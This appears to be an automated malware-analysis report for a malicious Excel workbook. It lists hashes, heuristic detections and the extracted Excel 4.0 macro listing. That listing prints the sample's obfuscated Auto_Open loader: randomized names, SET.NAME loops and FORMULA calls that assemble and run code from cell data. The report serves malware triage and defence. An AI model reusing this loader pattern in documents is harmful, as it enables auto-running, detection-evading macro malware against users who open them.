Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 748d5dade886a2f2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:30 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 1c70496bbf119647f804296ed1a75e4e SHA-1: fd51f9b8fbeaecf36ede882ab9f644e28b152dbc SHA-256: 748d5dade886a2f289563560efe6feee08dd9b6b0246c99c34ceafbb4a4a063d
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6690 bytes
SHA-256: 1ef594153e045f3150c2fa75a34cbc6a606e3db06bf1edfb98e5e46fac7639fd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'nEkpOzJnVrvg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AZXnqGXpvUc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A153 
' 0018     21 LABEL : Cell Value, String Constant - BHXRSd len=0 
' 0018     23 LABEL : Cell Value, String Constant - cXMGvMTc len=0 
' 0018     24 LABEL : Cell Value, String Constant - dfYoeNuau len=0 
' 0018     26 LABEL : Cell Value, String Constant - ELNVUUnDqSz len=0 
' 0018     22 LABEL : Cell Value, String Constant - gQMvJms len=0 
' 0018     24 LABEL : Cell Value, String Constant - HrvDYsuPG len=0 
' 0018     23 LABEL : Cell Value, String Constant - IYyYejWc len=0 
' 0018     22 LABEL : Cell Value, String Constant - MgmkmGq len=0 
' 0018     27 LABEL : Cell Value, String Constant - nEkpOzJnVrvg len=0 
' 0018     22 LABEL : Cell Value, String Constant - NWcTBwE len=0 
' 0018     20 LABEL : Cell Value, String Constant - PliFj len=0 
' 0018     26 LABEL : Cell Value, String Constant - PRGqEFyMOnr len=0 
' 0018     23 LABEL : Cell Value, String Constant - qEPYfLdr len=0 
' 0018     25 LABEL : Cell Value, String Constant - rqlpwMMKWK len=0 
' 0018     24 LABEL : Cell Value, String Constant - rUcNNnWEp len=0 
' 0018     26 LABEL : Cell Value, String Constant - tDzFxsjXwNf len=0 
' 0018     21 LABEL : Cell Value, String Constant - TOXmSV len=0 
' 0018     21 LABEL : Cell Value, String Constant - VSvESb len=0 
' 0018     21 LABEL : Cell Value, String Constant - xKahJu len=0 
' 0018     27 LABEL : Cell Value, String Constant - zEKKqJDqwmkE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AZXnqGXpvUc,A50,"SET.NAME("tDzFxsjXwNf",VALUE("0"))",""
'  AZXnqGXpvUc,A53,"SET.NAME("BHXRSd",tDzFxsjXwNf)",""
'  AZXnqGXpvUc,A57,"SET.NAME("TOXmSV",tDzFxsjXwNf)",""
'  AZXnqGXpvUc,A62,"SET.NAME("PliFj",COUNTA(dfYoeNuau))",""
'  AZXnqGXpvUc,A64,"SET.NAME("qEPYfLdr",COUNTA(xKahJu))",""
'  AZXnqGXpvUc,A67,[],""
'  AZXnqGXpvUc,A72,"SET.NAME("HrvDYsuPG","")",""
'  AZXnqGXpvUc,A77,"BHXRSd",""
'  AZXnqGXpvUc,A81,"SET.NAME("MgmkmGq",HLOOKUP("*",dfYoeNuau,BHXRSd,FALSE))",""
'  AZXnqGXpvUc,A86,"gQMvJms",""
'  AZXnqGXpvUc,A91,"SET.NAME("VSvESb",tDzFxsjXwNf)",""
'  AZXnqGXpvUc,A93,[],""
'  AZXnqGXpvUc,A98,"VSvESb",""
'  AZXnqGXpvUc,A101,"nEkpOzJnVrvg",""
'  AZXnqGXpvUc,A105,"zEKKqJDqwmkE",""
'  AZXnqGXpvUc,A108,"IYyYejWc",""
'  AZXnqGXpvUc,A112,"SET.NAME("PRGqEFyMOnr",VALUE(HLOOKUP("*",xKahJu,IYyYejWc,FALSE)))",""
'  AZXnqGXpvUc,A117,"ELNVUUnDqSz",""
'  AZXnqGXpvUc,A122,"HrvDYsuPG",""
'  AZXnqGXpvUc,A127,"TOXmSV",""
'  AZXnqGXpvUc,A132,NEXT(),""
'  AZXnqGXpvUc,A135,"rqlpwMMKWK",""
'  AZXnqGXpvUc,A140,"SET.NAME("f",INT(T(FORMULA(T(HrvDYsuPG)&"",""&T(rqlpwMMKWK)))))",""
'  AZXnqGXpvUc,A142,"rUcNNnWEp",""
'  AZXnqGXpvUc,A145,NEXT(),""
'  AZXnqGXpvUc,A150,RETURN(),""
'  AZXnqGXpvUc,A177,"SET.NAME("cXMGvMTc",A50)",""
'  AZXnqGXpvUc,A181,"dfYoeNuau",""
'  AZXnqGXpvUc,A186,"SET.NAME("xKahJu",R93C14)",""
'  AZXnqGXpvUc,A191,"SET.NAME("rUcNNnWEp",201)",""
'  AZXnqGXpvUc,A196,"SET.NAME("NWcTBwE",1)",""
'  AZXnqGXpvUc,A200,cXMGvMTc(),""
'  AZXnqGXpvUc,A201,HALT(),""

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